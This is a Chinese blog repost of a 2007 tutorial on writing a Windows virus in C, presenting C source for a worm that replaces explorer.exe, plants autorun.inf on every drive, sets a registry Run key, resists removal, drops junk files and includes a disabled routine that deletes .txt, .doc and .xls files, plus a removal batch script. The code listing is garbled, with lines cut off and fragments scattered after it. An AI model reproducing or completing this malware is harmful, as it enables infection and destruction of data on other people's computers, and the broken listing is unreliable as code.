用C语言写病毒1-4

本人目前小白一枚,今年刚接触了C语言,谷歌中无意搜索到一篇C语言写简单病毒的文章,终于谷歌到在编程中国07年发布的4篇,可能是原创的文章,于是就收藏了大笑


以下是第2篇

来源:http://www.bccn.net/Article/kfyy/cyy/jszl/200706/4599.html

编程中国- 用C语言写病毒(4)

编程中国- 用C语言写病毒(3)

编程中国- 用C语言写病毒(2)

编程中国- 用C语言写病毒(1)





原帖及讨论:http://bbs.bccn.net/thread-148427-1-1.html

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技

术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承

担,本人不负任何责任,否则,请马上离开.

从本篇文章开始,拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护

条理》、《中华人民共和国著作权法》等法律最大限度的制裁!!

点击下载该文件


本版病毒所具有的功能:
1.在所有磁盘的根目录生成svchost.com和autorun.inf文件
2.生成病毒体:

c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe



3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在
4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)
5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“
6.连锁能力,将病毒体相连,实现相连复制更新
7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程
8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建
9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下
10.附带删除文件函数(为防止危害,本函数默认不执行)
本病毒单机默认使用对机器无害(破坏代码已屏蔽)
提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):


echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.exe c:\windows\explorer.exe
copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
echo 如果本次清除后仍残留有病毒,请再次运行本程序
pause



核心代码:(全部代码请从附件中下载,请用DEV-CPP运行其中的工程文件,编译后请将结果文件svchost.exe更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)

/*
  SK-CHINA
  SVCHOST virus WRITE BY S.K
  Compiler:
  DEV-CPP 4.9.9.2
*/
/* SVCHOST.EXE */
/* SVCHOST.COM */
#include<stdio.h> /*标准输入输出*/ 
#include<string.h> /*字符串操作*/ 
#include<stdlib.h> /*其它函数*/ 
#include<process.h> /*进程控制*/
#include<dir.h> /*目录函数*/
#define RUBBISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM  5 /*删除文件数*/ 
/*====================================================================*/
/*
  文件AUTORUN.INF内容:
  1.自动运行SVCHOST.com
  2.覆盖默认打开命令,使用病毒体作为新的打开方式
  3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/ 
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打开(&O)
/*=====================================================================*/
/*
  添加注册表项:
  1.自动运行生成病毒体C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n
/*=====================================================================*/
/*
  函数:复制文件
  复制源:infile
  目的地:outfile
  成功返回0,失败返回1
*/ 
int copy(char *infile,char *outfile)
{
    FILE *input,*output;
    char temp;
    if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
    {
      while(!feof(input))
      {
        fread(&temp,1,1,input);
        fwrite(&temp,1,1,output);
      }
      fclose(input);
      fclose(output);
      return 0;
    }
    else return 1;
}
/*=====================================================================*/
/*
  函数:通过explorer自动运行 
  成功返回0,失败返回1,2
*/ 
int autorun_explorer()
{
    FILE *input;
    if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
    {
      fclose(input);
      remove("c:\\windows\\$temp$");
      remove("c:\\windows\\system32\\dllcache\\$temp$");
      return 1;
    }
    copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
    rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
    rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32
    if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy
      return 0;
    else
      return 2;
}
/*=====================================================================*/
/*
  函数:添加注册表项 
  成功返回0,失败返回1
*/ 
int add_reg()
{
    FILE *output;
    if((output=fopen("$$$$$","w"))!=NULL)
    {
      fprintf(output,regadd);
      fclose(output);
      spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
    }
}
/*=====================================================================*/
/*
  函数:复制病毒 + Autorun.inf自动运行 
*/ 
void copy_virus()
{
    int i,k;
    FILE *input,*output;
    char *files_svchost[SVCHOST_NUM]=
    char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
    for(i=0;i<SVCHOST_NUM;i++)
    { 
      if((input=fopen(files_svchost[i],"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<SVCHOST_NUM;k++)
        {
          copy(files_svchost[i],files_svchost[k]);
        }
        i=SVCHOST_NUM;
      }
    }
    for(i=0;i<SVCHOST_NUM;i++)
    {
      if((input=fopen(files_svchost[i],"rb"))!=NULL)
      {
        fclose(input);
        for(k=0;k<24;k++)
        {
          copy(files_svchost[i],temp[0]);
          if((output=fopen(temp[1],"w"))!=NULL)
          {
            fprintf(output,"%s",autorun);
            fclose(output);
          }
          temp[0][0]++;
          temp[1][0]++;
        }
        i=SVCHOST_NUM;
      }
    }
}
/*=====================================================================*/
/*
  函数:制造垃圾文件 
*/ 
void make_rubbish()
{
     int i;
     FILE *output;
     srand(0);
     for(i=0;i<RUBBISH_NUM;i++)
     {
       int n;
       char s[30];
       n=rand();
       sprintf(s,"C:\\DESTORY_感染_%d",n);
       if((output=fopen(s,"w"))!=NULL)
       {
         fprintf(output,"%ld%s",n*n,s);
         fclose(output);
       }
     }
}
/*=====================================================================*/
/*
  函数:删除文件
*/ 
void remove_files()
{
    long done;
    int i;
    struct _finddata_t ffblk;
    char *remove_files[3]={"*.txt","*.doc","*.xls"};
    for(i=0;i<3;i++)
    {
      if(_findfirst(remove_files[i],&ffblk)==-1) continue;
      while(!done)
      {
        remove(ffblk.name);
        _findnext(done,&ffblk);
      }
      _findclose(done);
    }
}
/*=====================================================================*/
/*
  主程序
  使用DEV-CPP 32位C工程 实现.C程序脱离命令行界面,于后台执行
*/ 
int main(int argc,char **argv)
{
    int contral=0;
    if(argc>1)
      if(strcmp(argv[1],"/s")==0)
        goto next1;
    autorun_explorer();
    spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
    next1:
    add_reg();
    copy_virus();
    make_rubbish();
    /* remove_files(); */
    spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
    return 0;
}



explorer.exe前启动

资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。

本病毒到目前为止任何杀毒软件都无法将其查杀

@echo off

--------------------------------------------------------------------


/* SVCHOST.C   */
#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=资源管理器(&X)
\nshell\\explore\\Command=\"SVCHOST.com /s\""};
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32
\"=\"C:\\\\windows\\\\wjview32.com /s\""};
(outfile,"wb"))!=NULL))
\\dllcache\\$temp$");
("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste
m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};


点击下载该附件




















  • 3
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值